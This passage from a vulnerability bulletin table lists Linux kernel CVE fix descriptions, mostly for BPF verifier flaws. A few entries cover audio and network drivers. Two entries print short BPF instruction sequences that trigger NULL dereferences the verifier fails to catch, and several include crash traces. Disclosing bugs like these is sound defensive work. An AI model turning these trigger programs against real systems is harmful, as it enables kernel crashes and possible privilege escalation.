&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98038&quot; target=&quot;_blank&quot;&gt;CVE-2026-98038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Require MEM_PERCPU for percpu kptr stores map_kptr_match_type() treats perm_flags as the set of register type flags that a kptr field permits. Adding MEM_PERCPU to that set for BPF_KPTR_PERCPU does not require the source register to carry it, however. The subset test consequently accepts both a plain bpf_obj_new() allocation and a referenced kernel pointer into a __percpu_kptr map field. Loads from the field are always marked MEM_PERCPU. Consumers then treat the stored value as the cookie returned by bpf_percpu_obj_new(): per-CPU pointer helpers relocate it, and map teardown selects the per-CPU free path. A plain allocation can therefore provide an arbitrary kernel read/write, while a kernel pointer can be relocated into an invalid address or sent through a missing destructor. Require the source MEM_PERCPU flag to match the destination field kind. This preserves valid bpf_percpu_obj_new() stores and rejects both the program-BTF and kernel-BTF variants.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98039&quot; target=&quot;_blank&quot;&gt;CVE-2026-98039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark the zero register precise for a register-form NULL check check_cond_jmp_op() accepts &quot;if rA &amp;lt;op&amp;gt; rB&quot; as a NULL check for a nullable pointer rA when rB is a scalar known to be zero, lifts PTR_MAYBE_NULL from rA in the corresponding branch and does not mark rB precise. Consider the following program: r0 = bpf_get_prandom_u32(); r6 = 1; /* the r6 == 0 path is explored first */ if (r0 == 0) goto 1f; r6 = 0; 1: r0 = bpf_map_lookup_elem(map, &amp;amp;0); /* absent, NULL at runtime */ if (r0 == r6) goto 2f; /* taken as a NULL check for r0 */ *(u8 *)(r0 + 0); /* verifier: map value; runtime: zero */ 2: return 0; The r6 == 0 path is explored first and the dereference is accepted. The r6 == 1 path is pruned at the checkpoint recorded for (1), so the comparison is never verified with a non-zero r6. At runtime a failed lookup returns NULL, NULL != 1 takes the non-NULL edge and the program dereferences a pointer that is zero.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98040&quot; target=&quot;_blank&quot;&gt;CVE-2026-98040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Don&#039;t resurrect a scalar id dropped by collect_linked_regs() check_cond_jmp_op() copies the compared registers into env-&amp;gt;{false,true}_reg{1,2} before collect_linked_regs() runs and copies those snapshots back into both branch states afterwards. collect_linked_regs() records at most LINKED_REGS_MAX members of a linked registers group in the jump history and calls clear_scalar_id() for every member that does not fit. The compared register is not exempt from that. As a consequence, sync_linked_regs() might adjust ranges for more registers than bpf_bt_sync_linked_regs() can propagate precision to. Collect the linked registers before the snapshots are taken instead. This might lead to some unnecessary clear_scalar_id&#039;s, but from previous testing situations with many linked registers are extremely rare.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98042&quot; target=&quot;_blank&quot;&gt;CVE-2026-98042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Don&#039;t infer non-NULL from a pointer with an unbounded offset reg_not_null() decides that a register holds a non-NULL value by looking at its type alone. For pointer types that allow arithmetic the type only guarantees a non-NULL base, in case of an unbound offset the runtime offset value might still add up to NULL. Consider the followng program: r6 = bpf_map_lookup_elem(map, &amp;amp;0); /* present */ if (r6 == 0) return 0; r7 = bpf_map_lookup_elem(map, &amp;amp;1); /* absent, NULL at runtime */ r8 = r7; r8 -= r6; /* pointer - pointer: unknown scalar, -r6 */ r8 &amp;lt;&amp;lt;= 1; r8 &amp;gt;&amp;gt;= 1; /* any non-negative offset is accepted by */ /* check_reg_sane_offset_ptr() */ r6 += r8; /* verifier: map value; runtime: zero */ if (r7 != r6) return 0; *(u8 *)(r7 + 0); /* r7 is inferred non-NULL, both are zero */ At runtime both registers are zero, the comparison is true and the load faults with NULL pointer dereference. Require the offset to be within +-BPF_MAX_VAR_OFF in reg_not_null().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98043&quot; target=&quot;_blank&quot;&gt;CVE-2026-98043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject legacy packet loads from callbacks check_ld_abs() models a failed BPF_LD_ABS or BPF_LD_IND in a subprogram as an implicit return with R0 set to zero. It calls prepare_func_exit() to explore this synthesized path. When the load is reached directly from a synchronous callback, prepare_func_exit() enforces the callback return contract and marks R0 precise. R0 is not derived from a real instruction on this path, so precision backtracking reaches the callback call with R0 still requested and triggers the &quot;callback unexpected regs&quot; verifier bug. A privileged program loader can therefore cause a verifier warning and an -EFAULT BPF_PROG_LOAD. These legacy packet-load instructions are deprecated. Reject them from callbacks rather than complicating their implicit-return model. Check all active frames before constructing the implicit return so nested static subprograms cannot hide the callback context. Global functions are verified independently with a fresh frame zero, so an active-frame check cannot identify a global function called from a callback. Also check the complete subprogram call graph during stack-depth validation and reject a function containing a legacy load when any caller is a callback. This covers global and static descendants without making has_ld_abs transitive, preserving its per-function BTF return-type check. Ordinary uses outside callbacks remain supported.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98044&quot; target=&quot;_blank&quot;&gt;CVE-2026-98044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark faultable stack helpers as sleepable The faultable variants of bpf_get_stack() and bpf_get_task_stack() pass may_fault=true into the common stack collection code. Resolving user-space build IDs may then call build_id_parse_file() and block on filesystem reads. Neither helper prototype sets might_sleep. Since prototype selection uses the sleepability of the whole program, the verifier can still allow these helpers from a non-sleepable region within that program, such as an explicit RCU or preemption-disabled region. The task-stack helper can also be called from a non-sleepable timer callback of a sleepable program. Mark both faultable prototypes as sleepable. The existing helper context check then rejects these calls while continuing to allow them in genuinely sleepable contexts.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98045&quot; target=&quot;_blank&quot;&gt;CVE-2026-98045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark bpf_btf_find_by_name_kind() as sleepable When bpf_btf_find_by_name_kind() finds a type in module BTF, it returns a new BTF object fd through __btf_new_fd(). This reaches anon_inode_getfd(), which can sleep while allocating or expanding the current task fd table. The helper prototype does not set might_sleep, so the verifier allows the helper in non-sleepable contexts such as BPF timer callbacks. The fd allocation can then sleep in softirq context and install the fd into the interrupted task. Mark the helper as sleepable. This preserves calls from the main body of a sleepable syscall program while rejecting calls from its non-sleepable regions.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98046&quot; target=&quot;_blank&quot;&gt;CVE-2026-98046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Check ancestor frames for rbtree callbacks bpf_rbtree_add() invokes its comparator while the caller holds the root lock. The native insertion code retains raw parent and link pointers across the callback, so the verifier prohibits unlocking, consuming tree nodes, or changing RCU state from that callback. in_rbtree_lock_required_cb() only checks the innermost verifier frame. Static subprogram calls are permitted while holding a spin lock, and such a call pushes a frame without in_callback_fn set. Consequently, all callback restrictions disappear in the nested frame. The subprogram can unlock the tree, remove and drop the node being compared, then relock. Native insertion resumes with the stale parent pointer and links freed memory into the tree. Walk all active frames for the rbtree callback instead. Benign static subprograms remain permitted, while callback restrictions follow execution into nested frames.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98047&quot; target=&quot;_blank&quot;&gt;CVE-2026-98047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: don&#039;t rewrite bpf_fastcall patterns entered by a jump mark_fastcall_pattern_for_call() must ensure that matched &quot;spill; call; fill&quot; instruction series is not interrupted by a jump. Otherwise the rewrite applied by bpf_remove_fastcall_spills_fills() is not sound. Record the instructions targeted by jumps in insn_aux_data[*].jump_target when the CFG is built and use this flag to stop growing a pattern at such an instruction. Jumps to the first spill are fine. Note that existing insn_aux_data[*].jmp_point field can&#039;t be reused, as it marks subprogram return instructions.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98048&quot; target=&quot;_blank&quot;&gt;CVE-2026-98048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: zero extend the result of an arena 32-bit cmpxchg bpf_convert_ctx_accesses() rewrites an atomic on an arena pointer from BPF_STX | BPF_ATOMIC to BPF_STX | BPF_PROBE_ATOMIC, and it runs before bpf_opt_subreg_zext_lo32_rnd_hi32(). That pass emits an explicit zero extension for a 32-bit cmpxchg even when bpf_jit_needs_zext() is false. This is done because on some architectures 32-bit cmpxchg requires explicit zero extension for the dst register. E.g. on x86-64 &#039;lock cmpxchg&#039; does not change the %eax if comparison is successful, while BPF semantics declare that each operation on a 32-bit register zero extends it&#039;s upper half. is_cmpxchg_insn() matches BPF_MODE == BPF_ATOMIC only, so an arena cmpxchg misses said zero extension adjustment. This patch adjusts is_cmpxchg_insn() to match BPF_PROBE_ATOMIC alongside BPF_ATOMIC.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98049&quot; target=&quot;_blank&quot;&gt;CVE-2026-98049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bcmasp: fix tx_spb_ring_full() checking same slot cnt times The loop initialised next_index from intf-&amp;gt;tx_spb_index on every iteration, so incr_ring() always produced the same result and only one slot was ever tested. Move the initialisation before the loop so each iteration advances next_index and the function correctly checks that cnt consecutive descriptor slots are available before allowing a new transmission.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98051&quot; target=&quot;_blank&quot;&gt;CVE-2026-98051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: Intel: avs: Refactor and fix init_config access Existing code accesses enties found in -&amp;gt;init_configs array through indexes that are part of -&amp;gt;config_ids array. Those two are limited by: -&amp;gt;num_init_configs and -&amp;gt;num_config_ids respectively. Using ID larger or equal to -&amp;gt;num_init_configs leads to out-of-bounds access: avs_path_module_send_init_configs() loop: (...) &amp;amp;acomp-&amp;gt;tplg-&amp;gt;init_configs[ids[i]] ^ out-of-bounds candidate Rather than adding another if-statement, refactor the code. There is no need to store the IDs, have a list of pointers to actual config-entries instead. As the verification of -&amp;gt;init_config entries does not differ from verification of other types that are part of the topology.c file, simply reuse the code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98053&quot; target=&quot;_blank&quot;&gt;CVE-2026-98053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: Intel: avs: Fix unbalanced module reference count strace_open() invokes try_module_get() which on success takes the module reference. If any follow up operation causes strace_open() to fail, the refcount shall be put down.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98054&quot; target=&quot;_blank&quot;&gt;CVE-2026-98054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: Intel: avs: Clean up the bus when fetching ML caps fails snd_hdac_ext_bus_get_ml_capabilities() may fail and its return code shall be checked and accounted for. Address the issue by updating the error-path for avs_pci_probe(). At the same time, if the function in question succeeds but the next part of avs_pci_probe() fails, the hlink list shall be cleaned up before leaving the scope.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98055&quot; target=&quot;_blank&quot;&gt;CVE-2026-98055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Add checking nr_subbufs to persistent ring buffer validation Sashiko reported that the code was using meta-&amp;gt;nr_subbufs without making sure that it matched the nr_pages + 1 on data that was assuming the two were the same. Add a check to the persistent ring buffer validation code to make sure that the saved nr_subbufs matches what we expect.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98057&quot; target=&quot;_blank&quot;&gt;CVE-2026-98057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark syscall helpers as sleepable bpf_sys_bpf() executes the bpf(2) syscall body, which can take mutexes, allocate with GFP_KERNEL, and wait for an RCU grace period. bpf_sys_close() reaches close_fd() and filp_close(), which can sleep as well. Both helpers are limited to BPF_PROG_TYPE_SYSCALL, whose main program is sleepable. That does not make every callback sleepable: a syscall program can register a bpf_timer callback, and the verifier checks that callback in a non-sleepable context while retaining the syscall helper set. Without .might_sleep on the prototypes, such a callback can invoke bpf_sys_bpf() from hrtimer softirq context and trigger a scheduling-while-atomic failure. bpf_sys_close() is exposed through the same missing context check. Set .might_sleep on both prototypes so the existing helper-context check rejects them from timer callbacks and other atomic regions. Calls from the sleepable main body remain valid.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98058&quot; target=&quot;_blank&quot;&gt;CVE-2026-98058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark sched_process_wait argument as nullable do_wait() passes wo-&amp;gt;wo_pid to the sched_process_wait tracepoint. kernel_wait4() leaves wo_pid NULL for wait4(-1), and kernel_waitid_prepare() does likewise for waitid(P_ALL). btf_ctx_access() currently types argument 0 as PTR_TO_BTF_ID | PTR_TRUSTED. Without PTR_MAYBE_NULL, the verifier accepts an unchecked dereference. Trusted pointer loads have no fault protection, so a wait for any child can then cause a NULL pointer dereference in JITed BPF code. Add sched_process_wait to raw_tp_null_args[] with argument 0 marked nullable. The verifier rejects an unchecked dereference while preserving access after the program checks the pointer for NULL.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98059&quot; target=&quot;_blank&quot;&gt;CVE-2026-98059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject resilient lock operations in rbtree callbacks __bpf_rbtree_add() keeps parent and link pointers live across calls to the program-supplied comparison callback. The verifier therefore requires the root&#039;s lock to remain held throughout the callback. The helper path enforces this rule for bpf_spin_lock() and bpf_spin_unlock(), but the resilient lock kfunc argument path does not. Since resilient locks may protect BPF rbtree roots, a callback can release the root lock and let another CPU remove and free the node referenced by the in-progress tree walk. The walk then resumes using freed pointers. Reject resilient lock kfuncs in an rbtree comparison callback, matching the existing policy for the spin lock helpers. Resilient-lock-protected trees remain valid when their comparison callbacks leave lock state alone.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98060&quot; target=&quot;_blank&quot;&gt;CVE-2026-98060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject tail calls directly from callback frames A tail call from a non-zero frame is modeled as a return from that frame. The verifier makes R0 unknown and calls prepare_func_exit() for the taken branch. When the current frame is a synchronous callback, prepare_func_exit() enforces the callback return-value contract and marks R0 precise. Since the tail-call path synthesized R0 rather than deriving it from an instruction, precision backtracking reaches the callback-calling instruction with R0 still requested and triggers the &quot;callback unexpected regs&quot; verifier bug. A CAP_BPF task can therefore cause a WARN and an -EFAULT BPF_PROG_LOAD. Tail calls reachable from callbacks are already rejected later by check_max_stack_depth(). Reject a tail call made directly by a callback before constructing the inconsistent return state, using the existing diagnostic. Tail calls from ordinary subprograms keep their current behavior.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98061&quot; target=&quot;_blank&quot;&gt;CVE-2026-98061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark signal tracepoint siginfo arguments as scalar The signal_generate and signal_deliver tracepoints declare their info argument as a struct kernel_siginfo pointer. btf_ctx_access() therefore treats it as a trusted pointer for tp_btf programs. Signal delivery also uses SEND_SIG_NOINFO and SEND_SIG_PRIV as special values for this argument. Those values are zero and one respectively, and are not pointers. A tp_btf program can currently dereference either value and fault the kernel. In particular, signal_generate can run from timer interrupt context, turning the fault into a kernel panic. Record both tracepoints in raw_tp_null_args[] and mark argument one as a non-pointer. This preserves scalar access to the cookie while rejecting direct and helper-mediated pointer use. Merely marking it nullable would not suffice because SEND_SIG_PRIV is nonzero.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98062&quot; target=&quot;_blank&quot;&gt;CVE-2026-98062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix NULL-ptr-deref in btf_var_show() btf_var_show() calls btf_type_id_resolve() unconditionally, which dereferences btf-&amp;gt;resolved_ids. That is NULL for a base BTF - e.g. the vmlinux BTF that bpf_snprintf_btf() renders against - since base BTF is not resolved during parsing. btf_modifier_show() guards this with &#039;if (btf-&amp;gt;resolved_ids)&#039;, but btf_var_show() does not. A BPF program that passes the type_id of a BTF_KIND_VAR from the vmlinux BTF to bpf_snprintf_btf() thus NULL-derefs: KASAN: probably user-memory-access in range [0x46638-0x4663f] RIP: 0010:btf_var_show (kernel/bpf/btf.c:2929) Call Trace: &amp;lt;TASK&amp;gt; btf_type_show (kernel/bpf/btf.c:8259) btf_type_snprintf_show (kernel/bpf/btf.c:8329) bpf_snprintf_btf (kernel/trace/bpf_trace.c:1047) bpf_prog_test_run_raw_tp (net/bpf/test_run.c:829) __sys_bpf (kernel/bpf/syscall.c:4804) do_syscall_64 (arch/x86/entry/syscall_64.c:84) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) &amp;lt;/TASK&amp;gt; Resolve the var&#039;s type directly with btf_type_skip_modifiers() when resolved_ids is NULL, mirroring btf_modifier_show().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98063&quot; target=&quot;_blank&quot;&gt;CVE-2026-98063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix NULL-ptr-deref when showing a void BTF type btf_modifier_show() resolves the modifier and then calls btf_type_ops(t)-&amp;gt;show() unconditionally. For the void type (type_id 0, BTF_KIND_UNKN) kind_ops[] has no entry, so -&amp;gt;show is NULL. A &quot;const void&quot; (a modifier resolving to void) cannot be a map key or value - map_check_btf() rejects it because void has no size - so the map dump path does not reach it. But bpf_snprintf_btf() takes a type_id straight from the BPF program, and passing such a &quot;const void&quot; from the vmlinux BTF NULL-derefs: KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f] RIP: 0010:btf_modifier_show (kernel/bpf/btf.c:2914) Call Trace: &amp;lt;TASK&amp;gt; btf_type_show (kernel/bpf/btf.c:8251) btf_type_snprintf_show (kernel/bpf/btf.c:8321) bpf_snprintf_btf (kernel/trace/bpf_trace.c:1047) bpf_prog_test_run_raw_tp (net/bpf/test_run.c:829) __sys_bpf (kernel/bpf/syscall.c:4804) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) &amp;lt;/TASK&amp;gt; Fall back to btf_df_show() when the resolved type has no show op; it emits the &quot;&amp;lt;unsupported kind:N&amp;gt;&quot; placeholder already used for kinds like FWD and FUNC. bpf_snprintf_btf() then returns the length as usual.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98064&quot; target=&quot;_blank&quot;&gt;CVE-2026-98064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject key-less BTF for hash maps map_check_btf() allows a key-less BTF (btf_key_type_id == 0) only for maps that have a -&amp;gt;map_check_btf callback, and leaves the actual decision to that callback. Hash maps used to have no -&amp;gt;map_check_btf, so a key-less BTF was rejected outright. That changed when htab and rhtab gained a -&amp;gt;map_check_btf to register a dtor - htab in commit 1df97a7453ee (&quot;bpf: Register dtor for freeing special fields&quot;) and rhtab in commit 6905f8601298 (&quot;bpf: Allow special fields in resizable hashtab&quot;). Neither looks at the key, so a key-less hash map now passes map_check_btf() and gets created. Reading it back through bpffs feeds the key type_id 0 into btf_type_seq_show(); btf_type_by_id() returns the void type, kind_ops[BTF_KIND_UNKN] is NULL, and btf_type_show() dereferences it: RIP: 0010:btf_type_show+0x223/0x2e0 kernel/bpf/btf.c:8232 RSP: 0018:ffffc9000399f868 EFLAGS: 00010206 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000005 RSI: 0000000000000000 RDI: 0000000000000028 RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000 R10: ffffc9000399f970 R11: 0000000000000001 R12: ffffffff9b96b140 R13: ffffc9000399f8e0 R14: ffff88803d393c00 R15: 0000000000000003 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000200000000000 CR3: 000000003d213000 CR4: 0000000000352ef0 DR0: 0000000039ae8f55 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Call Trace: &amp;lt;TASK&amp;gt; btf_type_seq_show_flags+0xca/0x120 kernel/bpf/btf.c:8250 htab_map_seq_show_elem+0x12e/0x350 kernel/bpf/hashtab.c:1669 map_seq_show+0x13d/0x1e0 kernel/bpf/inode.c:293 traverse.part.0.constprop.0+0x107/0x650 fs/seq_file.c:112 traverse fs/seq_file.c:99 [inline] seq_read_iter+0x93f/0x1270 fs/seq_file.c:196 seq_read+0x344/0x4d0 fs/seq_file.c:163 vfs_read+0x1e4/0xb40 fs/read_write.c:572 ksys_pread64 fs/read_write.c:764 [inline] __do_sys_pread64 fs/read_write.c:772 [inline] __se_sys_pread64 fs/read_write.c:769 [inline] __x64_sys_pread64+0x1eb/0x250 fs/read_write.c:769 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x123/0x790 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f Reject a key-less BTF in htab_map_check_btf() and rhtab_map_check_btf(), restoring the previous behavior.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98065&quot; target=&quot;_blank&quot;&gt;CVE-2026-98065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: Fix potential double-free at error path The fix for caiaq driver&#039;s resource management to handle the errors tries to release the resources in a common destructor call, but as a sashiko review for another patch suggested, some of the audio resources such as URBs have been already freed, and this may lead to a double-free. For addressing the double-free, call the common destructor function from each place, and assure that the resource pointers get cleared.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98066&quot; target=&quot;_blank&quot;&gt;CVE-2026-98066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
